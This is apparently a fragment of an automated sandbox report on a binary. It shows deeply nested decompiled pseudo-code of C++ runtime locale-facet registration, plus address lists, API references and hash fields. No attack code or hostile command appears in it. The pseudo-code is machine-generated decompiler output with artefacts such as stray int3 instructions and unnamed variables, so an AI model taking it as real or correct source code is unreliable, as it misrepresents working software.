																																																																		}
																																																																	} else {
																																																																		_t785 = _t807;
																																																																		goto L145;
																																																																	}
																																																																}
																																																															} else {
																																																																_t784 = _v16;
																																																																_v16 = _t784;
																																																																_v4 = 1;
																																																																E0048919D(_t784);
																																																																 *0x4f02b4();
																																																																 *((intOrPtr*)( *((intOrPtr*)( *_t784 + 4))))();
																																																																 *0x4ede28 = _t784;
																																																																goto L138;
																																																															}
																																																														} else {
																																																															_t784 = _t806;
																																																															goto L138;
																																																														}
																																																													}
																																																												} else {
																																																													_t783 = _v16;
																																																													_v16 = _t783;
																																																													_v4 = 1;
																																																													E0048919D(_t783);
																																																													 *0x4f02b4();
																																																													 *((intOrPtr*)( *((intOrPtr*)( *_t783 + 4))))();
																																																													 *0x4eddf4 = _t783;
																																																													goto L131;
																																																												}
																																																											} else {
																																																												_t783 = _t805;
																																																												goto L131;
																																																											}
																																																										}
																																																									} else {
																																																										_t782 = _v16;
																																																										_v16 = _t782;
																																																										_v4 = 1;
																																																										E0048919D(_t782);
																																																										 *0x4f02b4();
																																																										 *((intOrPtr*)( *((intOrPtr*)( *_t782 + 4))))();
																																																										 *0x4ede24 = _t782;
																																																										goto L124;
																																																									}
																																																								} else {
																																																									_t782 = _t804;
																																																									goto L124;
																																																								}
																																																							}
																																																						} else {
																																																							_t781 = _v16;
																																																							_v16 = _t781;
																																																							_v4 = 1;
																																																							E0048919D(_t781);
																																																							 *0x4f02b4();
																																																							 *((intOrPtr*)( *((intOrPtr*)( *_t781 + 4))))();
																																																							 *0x4eddd8 = _t781;
																																																							goto L117;
																																																						}
																																																					} else {
																																																						_t781 = _t803;
																																																						goto L117;
																																																					}
																																																				}
																																																			} else {
																																																				_t780 = _v16;
																																																				_v16 = _t780;
																																																				_v4 = 1;
																																																				E0048919D(_t780);
																																																				 *0x4f02b4();
																																																				 *((intOrPtr*)( *((intOrPtr*)( *_t780 + 4))))();
																																																				 *0x4ede08 = _t780;
																																																				goto L110;
																																																			}
																																																		} else {
																																																			_t780 = _t802;
																																																			goto L110;
																																																		}
																																																	}
																																																} else {
																																																	_t779 = _v16;
																																																	_v16 = _t779;
																																																	_v4 = 1;
																																																	E0048919D(_t779);
																																																	 *0x4f02b4();
																																																	 *((intOrPtr*)( *((intOrPtr*)( *_t779 + 4))))();
																																																	 *0x4eddd4 = _t779;
																																																	goto L103;
																																																}
																																															} else {
																																																_t779 = _t801;
																																																goto L103;
																																															}
																																														}
																																													} else {
																																														_t778 = _v16;
																																														_v16 = _t778;
																																														_v4 = 1;
																																														E0048919D(_t778);
																																														 *0x4f02b4();
																																														 *((intOrPtr*)( *((intOrPtr*)( *_t778 + 4))))();
																																														 *0x4ede04 = _t778;
																																														goto L96;
																																													}
																																												} else {
																																													_t778 = _t800;
																																													goto L96;
																																												}
																																											}
																																										} else {
																																											_t777 = _v16;
																																											_v16 = _t777;
																																											_v4 = 1;
																																											E0048919D(_t777);
																																											 *0x4f02b4();
																																											 *((intOrPtr*)( *((intOrPtr*)( *_t777 + 4))))();
																																											 *0x4eddd0 = _t777;
																																											goto L89;
																																										}
																																									} else {
																																										_t777 = _t799;
																																										goto L89;
																																									}
																																								}
																																							} else {
																																								_t776 = _v16;
																																								_v16 = _t776;
																																								_v4 = 1;
																																								E0048919D(_t776);
																																								 *0x4f02b4();
																																								 *((intOrPtr*)( *((intOrPtr*)( *_t776 + 4))))();
																																								 *0x4ede00 = _t776;
																																								goto L82;
																																							}
																																						} else {
																																							_t776 = _t798;
																																							goto L82;
																																						}
																																					}
																																				} else {
																																					_t775 = _v16;
																																					_v16 = _t775;
																																					_v4 = 1;
																																					E0048919D(_t775);
																																					 *0x4f02b4();
																																					 *((intOrPtr*)( *((intOrPtr*)( *_t775 + 4))))();
																																					 *0x4eddec = _t775;
																																					goto L75;
																																				}
																																			} else {
																																				_t775 = _t797;
																																				goto L75;
																																			}
																																		}
																																	} else {
																																		_t774 = _v16;
																																		_v16 = _t774;
																																		_v4 = 1;
																																		E0048919D(_t774);
																																		 *0x4f02b4();
																																		 *((intOrPtr*)( *((intOrPtr*)( *_t774 + 4))))();
																																		 *0x4eddf0 = _t774;
																																		goto L68;
																																	}
																																} else {
																																	_t774 = _t796;
																																	goto L68;
																																}
																															}
																														} else {
																															_t773 = _v16;
																															_v16 = _t773;
																															_v4 = 1;
																															E0048919D(_t773);
																															 *0x4f02b4();
																															 *((intOrPtr*)( *((intOrPtr*)( *_t773 + 4))))();
																															 *0x4ede1c = _t773;
																															goto L61;
																														}
																													} else {
																														_t773 = _t795;
																														goto L61;
																													}
																												}
																											} else {
																												_t772 = _v16;
																												_v16 = _t772;
																												_v4 = 1;
																												E0048919D(_t772);
																												 *0x4f02b4();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t772 + 4))))();
																												 *0x4ede20 = _t772;
																												goto L54;
																											}
																										} else {
																											_t772 = _t794;
																											goto L54;
																										}
																									}
																								} else {
																									_t771 = _v16;
																									_v16 = _t771;
																									_v4 = 1;
																									E0048919D(_t771);
																									 *0x4f02b4();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t771 + 4))))();
																									 *0x4edde8 = _t771;
																									goto L47;
																								}
																							} else {
																								_t771 = _t793;
																								goto L47;
																							}
																						}
																					} else {
																						_t770 = _v16;
																						_v16 = _t770;
																						_v4 = 1;
																						E0048919D(_t770);
																						 *0x4f02b4();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t770 + 4))))();
																						 *0x4ede18 = _t770;
																						goto L40;
																					}
																				} else {
																					_t770 = _t792;
																					goto L40;
																				}
																			}
																		} else {
																			_t769 = _v16;
																			_v16 = _t769;
																			_v4 = 1;
																			E0048919D(_t769);
																			 *0x4f02b4();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t769 + 4))))();
																			 *0x4edde4 = _t769;
																			goto L33;
																		}
																	} else {
																		_t769 = _t791;
																		goto L33;
																	}
																}
															} else {
																_t768 = _v16;
																_v16 = _t768;
																_v4 = 1;
																E0048919D(_t768);
																 *0x4f02b4();
																 *((intOrPtr*)( *((intOrPtr*)( *_t768 + 4))))();
																 *0x4ede14 = _t768;
																goto L26;
															}
														} else {
															_t768 = _t790;
															goto L26;
														}
													}
												} else {
													_t767 = _v16;
													_v16 = _t767;
													_v4 = 1;
													E0048919D(_t767);
													 *0x4f02b4();
													 *((intOrPtr*)( *((intOrPtr*)( *_t767 + 4))))();
													 *0x4edde0 = _t767;
													goto L19;
												}
											} else {
												_t767 = _t789;
												goto L19;
											}
										}
									} else {
										_t766 = _v16;
										_v16 = _t766;
										_v4 = 1;
										E0048919D(_t766);
										 *0x4f02b4();
										 *((intOrPtr*)( *((intOrPtr*)( *_t766 + 4))))();
										 *0x4ede10 = _t766;
										goto L12;
									}
								} else {
									_t766 = _t788;
									goto L12;
								}
							}
						} else {
							_t765 = _v16;
							_v16 = _t765;
							_v4 = 1;
							E0048919D(_t765);
							 *0x4f02b4();
							 *((intOrPtr*)( *((intOrPtr*)( *_t765 + 4))))();
							 *0x4eddfc = _t765;
							goto L5;
						}
					} else {
						_t765 = _t787;
						goto L5;
					}
				}
			}

0x0048c427
0x0048c42e
0x0048c438
0x0048c43d
0x0048c448
0x0048c44c
0x0048c458
0x0048c45d
0x0048c461
0x0048c4a6
0x0048c4a9
0x0048c4b5
0x0048c463
0x0048c465
0x0048c46b
0x0048c471
0x0048c479
0x0048c47c
0x0048c4b6
0x0048c4bb
0x0048c4bc
0x0048c4c3
0x0048c4cd
0x0048c4d2
0x0048c4dd
0x0048c4e1
0x0048c4f2
0x0048c4f4
0x0048c4f6
0x0048c53b
0x0048c53e
0x0048c54a
0x0048c4f8
0x0048c4f8
0x0048c4fa
0x0048c500
0x0048c506
0x0048c50e
0x0048c511
0x0048c54b
0x0048c550
0x0048c551
0x0048c558
0x0048c562
0x0048c567
0x0048c572
0x0048c576
0x0048c587
0x0048c589
0x0048c58b
0x0048c5d0
0x0048c5d3
0x0048c5df
0x0048c58d
0x0048c58d
0x0048c58f
0x0048c595
0x0048c59b
0x0048c5a3
0x0048c5a6
0x0048c5e0
0x0048c5e5
0x0048c5e6
0x0048c5ed
0x0048c5f7
0x0048c5fc
0x0048c607
0x0048c60b
0x0048c61c
0x0048c61e
0x0048c620
0x0048c665
0x0048c668
0x0048c674
0x0048c622
0x0048c622
0x0048c624
0x0048c62a
0x0048c630
0x0048c638
0x0048c63b
0x0048c675
0x0048c67a
0x0048c67b
0x0048c682
0x0048c68c
0x0048c691
0x0048c69c
0x0048c6a0
0x0048c6b1
0x0048c6b3
0x0048c6b5
0x0048c6fa
0x0048c6fd
0x0048c709
0x0048c6b7
0x0048c6b7
0x0048c6b9
0x0048c6bf
0x0048c6c5
0x0048c6cd
0x0048c6d0
0x0048c70a
0x0048c70f
0x0048c710
0x0048c717
0x0048c721
0x0048c726
0x0048c731
0x0048c735
0x0048c746
0x0048c748
0x0048c74a
0x0048c78f
0x0048c792
0x0048c79e
0x0048c74c
0x0048c74c
0x0048c74e
0x0048c754
0x0048c75a
0x0048c762
0x0048c765
0x0048c79f
0x0048c7a4
0x0048c7a5
0x0048c7ac
0x0048c7b6
0x0048c7bb
0x0048c7c6
0x0048c7ca
0x0048c7db
0x0048c7dd
0x0048c7df
0x0048c824
0x0048c827
0x0048c833
0x0048c7e1
0x0048c7e1
0x0048c7e3
0x0048c7e9
0x0048c7ef
0x0048c7f7
0x0048c7fa
0x0048c834
0x0048c839
0x0048c83a
0x0048c841
0x0048c84b
0x0048c850
0x0048c85b
0x0048c85f
0x0048c870
0x0048c872
0x0048c874
0x0048c8b9
0x0048c8bc
0x0048c8c8
0x0048c876
0x0048c876
0x0048c878
0x0048c87e
0x0048c884
0x0048c88c
0x0048c88f
0x0048c8c9
0x0048c8ce
0x0048c8cf
0x0048c8d6
0x0048c8e0
0x0048c8e5
0x0048c8f0
0x0048c8f4
0x0048c905
0x0048c907
0x0048c909
0x0048c94e
0x0048c951
0x0048c95d
0x0048c90b
0x0048c90b
0x0048c90d
0x0048c913
0x0048c919
0x0048c921
0x0048c924
0x0048c95e
0x0048c963
0x0048c964
0x0048c96b
0x0048c975
0x0048c97a
0x0048c985
0x0048c989
0x0048c99a
0x0048c99c
0x0048c99e
0x0048c9e3
0x0048c9e6
0x0048c9f2
0x0048c9a0
0x0048c9a0
0x0048c9a2
0x0048c9a8
0x0048c9ae
0x0048c9b6
0x0048c9b9
0x0048c9f3
0x0048c9f8
0x0048c9f9
0x0048ca00
0x0048ca0a
0x0048ca0f
0x0048ca1a
0x0048ca1e
0x0048ca2f
0x0048ca31
0x0048ca33
0x0048ca78
0x0048ca7b
0x0048ca87
0x0048ca35
0x0048ca35
0x0048ca37
0x0048ca3d
0x0048ca43
0x0048ca4b
0x0048ca4e
0x0048ca88
0x0048ca8d
0x0048ca8e
0x0048ca95
0x0048ca9f
0x0048caa4
0x0048caaf
0x0048cab3
0x0048cac4
0x0048cac6
0x0048cac8
0x0048cb0d
0x0048cb10
0x0048cb1c
0x0048caca
0x0048caca
0x0048cacc
0x0048cad2
0x0048cad8
0x0048cae0
0x0048cae3
0x0048cb1d
0x0048cb22
0x0048cb23
0x0048cb2a
0x0048cb34
0x0048cb39
0x0048cb44
0x0048cb48
0x0048cb59
0x0048cb5b
0x0048cb5d
0x0048cba2
0x0048cba5
0x0048cbb1
0x0048cb5f
0x0048cb5f
0x0048cb61
0x0048cb67
0x0048cb6d
0x0048cb75
0x0048cb78
0x0048cbb2
0x0048cbb7
0x0048cbb8
0x0048cbbf
0x0048cbc9
0x0048cbce
0x0048cbd9
0x0048cbdd
0x0048cbee
0x0048cbf0
0x0048cbf2
0x0048cc37
0x0048cc3a
0x0048cc46
0x0048cbf4
0x0048cbf4
0x0048cbf6
0x0048cbfc
0x0048cc02
0x0048cc0a
0x0048cc0d
0x0048cc47
0x0048cc4c
0x0048cc4d
0x0048cc54
0x0048cc5e
0x0048cc63
0x0048cc6e
0x0048cc72
0x0048cc83
0x0048cc85
0x0048cc87
0x0048cccc
0x0048cccf
0x0048ccdb
0x0048cc89
0x0048cc89
0x0048cc8b
0x0048cc91
0x0048cc97
0x0048cc9f
0x0048cca2
0x0048ccdc
0x0048cce1
0x0048cce2
0x0048cce9
0x0048ccf3
0x0048ccf8
0x0048cd03
0x0048cd07
0x0048cd18
0x0048cd1a
0x0048cd1c
0x0048cd61
0x0048cd64
0x0048cd70
0x0048cd1e
0x0048cd1e
0x0048cd20
0x0048cd26
0x0048cd2c
0x0048cd34
0x0048cd37
0x0048cd71
0x0048cd76
0x0048cd77
0x0048cd7e
0x0048cd88
0x0048cd8d
0x0048cd98
0x0048cd9c
0x0048cdad
0x0048cdaf
0x0048cdb1
0x0048cdf6
0x0048cdf9
0x0048ce05
0x0048cdb3
0x0048cdb3
0x0048cdb5
0x0048cdbb
0x0048cdc1
0x0048cdc9
0x0048cdcc
0x0048ce06
0x0048ce0b
0x0048ce0c
0x0048ce13
0x0048ce1d
0x0048ce22
0x0048ce2d
0x0048ce31
0x0048ce42
0x0048ce44
0x0048ce46
0x0048ce8b
0x0048ce8e
0x0048ce9a
0x0048ce48
0x0048ce48
0x0048ce4a
0x0048ce50
0x0048ce56
0x0048ce5e
0x0048ce61
0x0048ce9b
0x0048cea0
0x0048cea1
0x0048cea8
0x0048ceb2
0x0048ceb7
0x0048cec2
0x0048cec6
0x0048ced7
0x0048ced9
0x0048cedb
0x0048cf20
0x0048cf23
0x0048cf2f
0x0048cedd
0x0048cedd
0x0048cedf
0x0048cee5
0x0048ceeb
0x0048cef3
0x0048cef6
0x0048cf30
0x0048cf35
0x0048cf36
0x0048cf3d
0x0048cf47
0x0048cf4c
0x0048cf57
0x0048cf5b
0x0048cf6c
0x0048cf6e
0x0048cf70
0x0048cfb5
0x0048cfb8
0x0048cfc4
0x0048cf72
0x0048cf72
0x0048cf74
0x0048cf7a
0x0048cf80
0x0048cf88
0x0048cf8b
0x0048cfc5
0x0048cfca
0x0048cfcb
0x0048cfd2
0x0048cfdc
0x0048cfe1
0x0048cfec
0x0048cff0
0x0048d001
0x0048d003
0x0048d005
0x0048d04a
0x0048d04d
0x0048d059
0x0048d007
0x0048d007
0x0048d009
0x0048d00f
0x0048d015
0x0048d016
0x0048d01c
0x0048d01d
0x0048d020
0x0048d05a
0x0048d05f
0x0048d063
0x0048d067
0x0048d06b
0x0048d06b
0x0048d06b
0x0048d06f
0x0048d076
0x0048d079
0x0048d082
0x0048d022
0x0048d022
0x0048d025
0x0048d029
0x0048d02d
0x0048d03a
0x0048d042
0x0048d044
0x00000000
0x0048d044
0x0048d00b
0x0048d00b
0x00000000
0x0048d00b
0x0048d009
0x0048cf8d
0x0048cf8d
0x0048cf90
0x0048cf94
0x0048cf98
0x0048cfa5
0x0048cfad
0x0048cfaf
0x00000000
0x0048cfaf
0x0048cf76
0x0048cf76
0x00000000
0x0048cf76
0x0048cf74
0x0048cef8
0x0048cef8
0x0048cefb
0x0048ceff
0x0048cf03
0x0048cf10
0x0048cf18
0x0048cf1a
0x00000000
0x0048cf1a
0x0048cee1
0x0048cee1
0x00000000
0x0048cee1
0x0048cedf
0x0048ce63
0x0048ce63
0x0048ce66
0x0048ce6a
0x0048ce6e
0x0048ce7b
0x0048ce83
0x0048ce85
0x00000000
0x0048ce85
0x0048ce4c
0x0048ce4c
0x00000000
0x0048ce4c
0x0048ce4a
0x0048cdce
0x0048cdce
0x0048cdd1
0x0048cdd5
0x0048cdd9
0x0048cde6
0x0048cdee
0x0048cdf0
0x00000000
0x0048cdf0
0x0048cdb7
0x0048cdb7
0x00000000
0x0048cdb7
0x0048cdb5
0x0048cd39
0x0048cd39
0x0048cd3c
0x0048cd40
0x0048cd44
0x0048cd51
0x0048cd59
0x0048cd5b
0x00000000
0x0048cd5b
0x0048cd22
0x0048cd22
0x00000000
0x0048cd22
0x0048cd20
0x0048cca4
0x0048cca4
0x0048cca7
0x0048ccab
0x0048ccaf
0x0048ccbc
0x0048ccc4
0x0048ccc6
0x00000000
0x0048ccc6
0x0048cc8d
0x0048cc8d
0x00000000
0x0048cc8d
0x0048cc8b
0x0048cc0f
0x0048cc0f
0x0048cc12
0x0048cc16
0x0048cc1a
0x0048cc27
0x0048cc2f
0x0048cc31
0x00000000
0x0048cc31
0x0048cbf8
0x0048cbf8
0x00000000
0x0048cbf8
0x0048cbf6
0x0048cb7a
0x0048cb7a
0x0048cb7d
0x0048cb81
0x0048cb85
0x0048cb92
0x0048cb9a
0x0048cb9c
0x00000000
0x0048cb9c
0x0048cb63
0x0048cb63
0x00000000
0x0048cb63
0x0048cb61
0x0048cae5
0x0048cae5
0x0048cae8
0x0048caec
0x0048caf0
0x0048cafd
0x0048cb05
0x0048cb07
0x00000000
0x0048cb07
0x0048cace
0x0048cace
0x00000000
0x0048cace
0x0048cacc
0x0048ca50
0x0048ca50
0x0048ca53
0x0048ca57
0x0048ca5b
0x0048ca68
0x0048ca70
0x0048ca72
0x00000000
0x0048ca72
0x0048ca39
0x0048ca39
0x00000000
0x0048ca39
0x0048ca37
0x0048c9bb
0x0048c9bb
0x0048c9be
0x0048c9c2
0x0048c9c6
0x0048c9d3
0x0048c9db
0x0048c9dd
0x00000000
0x0048c9dd
0x0048c9a4
0x0048c9a4
0x00000000
0x0048c9a4
0x0048c9a2
0x0048c926
0x0048c926
0x0048c929
0x0048c92d
0x0048c931
0x0048c93e
0x0048c946
0x0048c948
0x00000000
0x0048c948
0x0048c90f
0x0048c90f
0x00000000
0x0048c90f
0x0048c90d
0x0048c891
0x0048c891
0x0048c894
0x0048c898
0x0048c89c
0x0048c8a9
0x0048c8b1
0x0048c8b3
0x00000000
0x0048c8b3
0x0048c87a
0x0048c87a
0x00000000
0x0048c87a
0x0048c878
0x0048c7fc
0x0048c7fc
0x0048c7ff
0x0048c803
0x0048c807
0x0048c814
0x0048c81c
0x0048c81e
0x00000000
0x0048c81e
0x0048c7e5
0x0048c7e5
0x00000000
0x0048c7e5
0x0048c7e3
0x0048c767
0x0048c767
0x0048c76a
0x0048c76e
0x0048c772
0x0048c77f
0x0048c787
0x0048c789
0x00000000
0x0048c789
0x0048c750
0x0048c750
0x00000000
0x0048c750
0x0048c74e
0x0048c6d2
0x0048c6d2
0x0048c6d5
0x0048c6d9
0x0048c6dd
0x0048c6ea
0x0048c6f2
0x0048c6f4
0x00000000
0x0048c6f4
0x0048c6bb
0x0048c6bb
0x00000000
0x0048c6bb
0x0048c6b9
0x0048c63d
0x0048c63d
0x0048c640
0x0048c644
0x0048c648
0x0048c655
0x0048c65d
0x0048c65f
0x00000000
0x0048c65f
0x0048c626
0x0048c626
0x00000000
0x0048c626
0x0048c624
0x0048c5a8
0x0048c5a8
0x0048c5ab
0x0048c5af
0x0048c5b3
0x0048c5c0
0x0048c5c8
0x0048c5ca
0x00000000
0x0048c5ca
0x0048c591
0x0048c591
0x00000000
0x0048c591
0x0048c58f
0x0048c513
0x0048c513
0x0048c516
0x0048c51a
0x0048c51e
0x0048c52b
0x0048c533
0x0048c535
0x00000000
0x0048c535
0x0048c4fc
0x0048c4fc
0x00000000
0x0048c4fc
0x0048c4fa
0x0048c47e
0x0048c47e
0x0048c481
0x0048c485
0x0048c489
0x0048c496
0x0048c49e
0x0048c4a0
0x00000000
0x0048c4a0
0x0048c467
0x0048c467
0x00000000
0x0048c467
0x0048c465

APIs

__EH_prolog3.LIBCMT ref: 0048C42E
std::_Lockit::_Lockit.LIBCPMT ref: 0048C438

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

ctype.LIBCPMT ref: 0048C472
std::_Facet_Register.LIBCPMT ref: 0048C489
std::_Lockit::~_Lockit.LIBCPMT ref: 0048C4A9
Concurrency::cancel_current_task.LIBCPMT ref: 0048C4B6

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Registerctype
String ID:
API String ID: 297941480-0
Opcode ID: ee12be97501bd81eb225b8756869f46fc4d4bae759bb105ad5806daf5b86a69d
Instruction ID: 34c17f56222969e17ad71da87fb98addf7986ad3bd1835fb09125396931491aa
Opcode Fuzzy Hash: ee12be97501bd81eb225b8756869f46fc4d4bae759bb105ad5806daf5b86a69d
Instruction Fuzzy Hash: 46010071D002168BCB05FBA5D8A5ABE7771AF80724F14480FE411AB382CF3C9E018B9C

Uniqueness

Uniqueness Score: -1.00%

Function 0048C4BC, Relevance: 9.0, APIs: 6, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0048C4BC(intOrPtr _a8) {
				signed int _v4;
				signed int _v16;
				char _v20;
				void* _v236;
				signed int _t249;
				void* _t463;
				short* _t667;
				void* _t728;
				signed int _t730;
				signed int _t731;
				signed int _t732;
				signed int _t733;
				signed int _t734;
				signed int _t735;
				signed int _t736;
				signed int _t737;
				signed int _t738;
				signed int _t739;
				signed int _t740;
				signed int _t741;
				signed int _t742;
				signed int _t743;
				signed int _t744;
				signed int _t745;
				signed int _t746;
				signed int _t747;
				signed int _t748;
				void* _t749;
				signed int _t750;
				signed int _t751;
				signed int _t752;
				signed int _t753;
				signed int _t754;
				signed int _t755;
				signed int _t756;
				signed int _t757;
				signed int _t758;
				signed int _t759;
				signed int _t760;
				signed int _t761;
				signed int _t762;
				signed int _t763;
				signed int _t764;
				signed int _t765;
				signed int _t766;
				signed int _t767;
				signed int _t768;
				signed int _t769;
				short* _t770;
				void* _t795;
				void* _t796;

				_push(8);
				L0049D90B(0x4d6966, _t728, _t749);
				L00488DEA( &_v20, 0);
				_t750 =  *0x4ede10; // 0x0
				_v4 = _v4 & 0x00000000;
				_v16 = _t750;
				_t249 = E0042B315(_a8, E0042B22E(0x4eddb4, _t728, _t750, _t796));
				_t729 = _t249;
				if(_t249 != 0) {
					L5:
					L00488E42( &_v20);
					return L0049D8D4(_t729);
				} else {
					if(_t750 == 0) {
						_push(_a8);
						_push( &_v16);
						__eflags = L0048DFE5(_t729, _t750, __eflags) - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							_push(8);
							L0049D90B(0x4d6966, _t729, _t750);
							L00488DEA( &_v20, 0);
							_t751 =  *0x4edde0; // 0x0
							_v4 = _v4 & 0x00000000;
							_v16 = _t751;
							_t730 = E0042B315(_a8, E0042B22E(0x4edd8c, _t729, _t751, __eflags));
							__eflags = _t730;
							if(_t730 != 0) {
								L12:
								L00488E42( &_v20);
								return L0049D8D4(_t730);
							} else {
								__eflags = _t751;
								if(__eflags == 0) {
									_push(_a8);
									_push( &_v16);
									__eflags = E0048E04D(_t730, _t751, __eflags) - 0xffffffff;
									if(__eflags == 0) {
										E0042B042(__eflags);
										asm("int3");
										_push(8);
										L0049D90B(0x4d6966, _t730, _t751);
										L00488DEA( &_v20, 0);
										_t752 =  *0x4ede14; // 0x0
										_v4 = _v4 & 0x00000000;
										_v16 = _t752;
										_t731 = E0042B315(_a8, E0042B22E(0x4eddb8, _t730, _t752, __eflags));
										__eflags = _t731;
										if(_t731 != 0) {
											L19:
											L00488E42( &_v20);
											return L0049D8D4(_t731);
										} else {
											__eflags = _t752;
											if(__eflags == 0) {
												_push(_a8);
												_push( &_v16);
												__eflags = E0048E0B5(_t731, _t752, __eflags) - 0xffffffff;
												if(__eflags == 0) {
													E0042B042(__eflags);
													asm("int3");
													_push(8);
													L0049D90B(0x4d6966, _t731, _t752);
													L00488DEA( &_v20, 0);
													_t753 =  *0x4edde4; // 0x0
													_v4 = _v4 & 0x00000000;
													_v16 = _t753;
													_t732 = E0042B315(_a8, E0042B22E(0x4edd90, _t731, _t753, __eflags));
													__eflags = _t732;
													if(_t732 != 0) {
														L26:
														L00488E42( &_v20);
														return L0049D8D4(_t732);
													} else {
														__eflags = _t753;
														if(__eflags == 0) {
															_push(_a8);
															_push( &_v16);
															__eflags = E0048E11D(_t732, _t753, __eflags) - 0xffffffff;
															if(__eflags == 0) {
																E0042B042(__eflags);
																asm("int3");
																_push(8);
																L0049D90B(0x4d6966, _t732, _t753);
																L00488DEA( &_v20, 0);
																_t754 =  *0x4ede18; // 0x0
																_v4 = _v4 & 0x00000000;
																_v16 = _t754;
																_t733 = E0042B315(_a8, E0042B22E(0x4eddbc, _t732, _t754, __eflags));
																__eflags = _t733;
																if(_t733 != 0) {
																	L33:
																	L00488E42( &_v20);
																	return L0049D8D4(_t733);
																} else {
																	__eflags = _t754;
																	if(__eflags == 0) {
																		_push(_a8);
																		_push( &_v16);
																		__eflags = E0048E185(_t733, _t754, __eflags) - 0xffffffff;
																		if(__eflags == 0) {
																			E0042B042(__eflags);
																			asm("int3");
																			_push(8);
																			L0049D90B(0x4d6966, _t733, _t754);
																			L00488DEA( &_v20, 0);
																			_t755 =  *0x4edde8; // 0x0
																			_v4 = _v4 & 0x00000000;
																			_v16 = _t755;
																			_t734 = E0042B315(_a8, E0042B22E(0x4edd94, _t733, _t755, __eflags));
																			__eflags = _t734;
																			if(_t734 != 0) {
																				L40:
																				L00488E42( &_v20);
																				return L0049D8D4(_t734);
																			} else {
																				__eflags = _t755;
																				if(__eflags == 0) {
																					_push(_a8);
																					_push( &_v16);
																					__eflags = E0048E1ED(_t734, _t755, __eflags) - 0xffffffff;
																					if(__eflags == 0) {
																						E0042B042(__eflags);
																						asm("int3");
																						_push(8);
																						L0049D90B(0x4d6966, _t734, _t755);
																						L00488DEA( &_v20, 0);
																						_t756 =  *0x4ede20;
																						_v4 = _v4 & 0x00000000;
																						_v16 = _t756;
																						_t735 = E0042B315(_a8, E0042B22E(0x4eddc4, _t734, _t756, __eflags));
																						__eflags = _t735;
																						if(_t735 != 0) {
																							L47:
																							L00488E42( &_v20);
																							return L0049D8D4(_t735);
																						} else {
																							__eflags = _t756;
																							if(__eflags == 0) {
																								_push(_a8);
																								_push( &_v16);
																								__eflags = E0048E255(_t735, _t756, __eflags) - 0xffffffff;
																								if(__eflags == 0) {
																									E0042B042(__eflags);
																									asm("int3");
																									_push(8);
																									L0049D90B(0x4d6966, _t735, _t756);
																									L00488DEA( &_v20, 0);
																									_t757 =  *0x4ede1c;
																									_v4 = _v4 & 0x00000000;
																									_v16 = _t757;
																									_t736 = E0042B315(_a8, E0042B22E(0x4eddc0, _t735, _t757, __eflags));
																									__eflags = _t736;
																									if(_t736 != 0) {
																										L54:
																										L00488E42( &_v20);
																										return L0049D8D4(_t736);
																									} else {
																										__eflags = _t757;
																										if(__eflags == 0) {
																											_push(_a8);
																											_push( &_v16);
																											__eflags = E0048E2D9(_t736, _t757, __eflags) - 0xffffffff;
																											if(__eflags == 0) {
																												E0042B042(__eflags);
																												asm("int3");
																												_push(8);
																												L0049D90B(0x4d6966, _t736, _t757);
																												L00488DEA( &_v20, 0);
																												_t758 =  *0x4eddf0;
																												_v4 = _v4 & 0x00000000;
																												_v16 = _t758;
																												_t737 = E0042B315(_a8, E0042B22E(0x4edd9c, _t736, _t758, __eflags));
																												__eflags = _t737;
																												if(_t737 != 0) {
																													L61:
																													L00488E42( &_v20);
																													return L0049D8D4(_t737);
																												} else {
																													__eflags = _t758;
																													if(__eflags == 0) {
																														_push(_a8);
																														_push( &_v16);
																														__eflags = E0048E35E(_t737, _t758, __eflags) - 0xffffffff;
																														if(__eflags == 0) {
																															E0042B042(__eflags);
																															asm("int3");
																															_push(8);
																															L0049D90B(0x4d6966, _t737, _t758);
																															L00488DEA( &_v20, 0);
																															_t759 =  *0x4eddec;
																															_v4 = _v4 & 0x00000000;
																															_v16 = _t759;
																															_t738 = E0042B315(_a8, E0042B22E(0x4edd98, _t737, _t759, __eflags));
																															__eflags = _t738;
																															if(_t738 != 0) {
																																L68:
																																L00488E42( &_v20);
																																return L0049D8D4(_t738);
																															} else {
																																__eflags = _t759;
																																if(__eflags == 0) {
																																	_push(_a8);
																																	_push( &_v16);
																																	__eflags = E0048E3E2(_t738, _t759, __eflags) - 0xffffffff;
																																	if(__eflags == 0) {
																																		E0042B042(__eflags);
																																		asm("int3");
																																		_push(8);
																																		L0049D90B(0x4d6966, _t738, _t759);
																																		L00488DEA( &_v20, 0);
																																		_t760 =  *0x4ede00;
																																		_v4 = _v4 & 0x00000000;
																																		_v16 = _t760;
																																		_t739 = E0042B315(_a8, E0042B22E(0x4edda4, _t738, _t760, __eflags));
																																		__eflags = _t739;
																																		if(_t739 != 0) {
																																			L75:
																																			L00488E42( &_v20);
																																			return L0049D8D4(_t739);
																																		} else {
																																			__eflags = _t760;
																																			if(__eflags == 0) {
																																				_push(_a8);
																																				_push( &_v16);
																																				__eflags = E0048E467(_t739, _t760, __eflags) - 0xffffffff;
																																				if(__eflags == 0) {
																																					E0042B042(__eflags);
																																					asm("int3");
																																					_push(8);
																																					L0049D90B(0x4d6966, _t739, _t760);
																																					L00488DEA( &_v20, 0);
																																					_t761 =  *0x4eddd0;
																																					_v4 = _v4 & 0x00000000;
																																					_v16 = _t761;
																																					_t740 = E0042B315(_a8, E0042B22E(0x4edd7c, _t739, _t761, __eflags));
																																					__eflags = _t740;
																																					if(_t740 != 0) {
																																						L82:
																																						L00488E42( &_v20);
																																						return L0049D8D4(_t740);
																																					} else {
																																						__eflags = _t761;
																																						if(__eflags == 0) {
																																							_push(_a8);
																																							_push( &_v16);
																																							__eflags = E0048E4CF(_t740, _t761, __eflags) - 0xffffffff;
																																							if(__eflags == 0) {
																																								E0042B042(__eflags);
																																								asm("int3");
																																								_push(8);
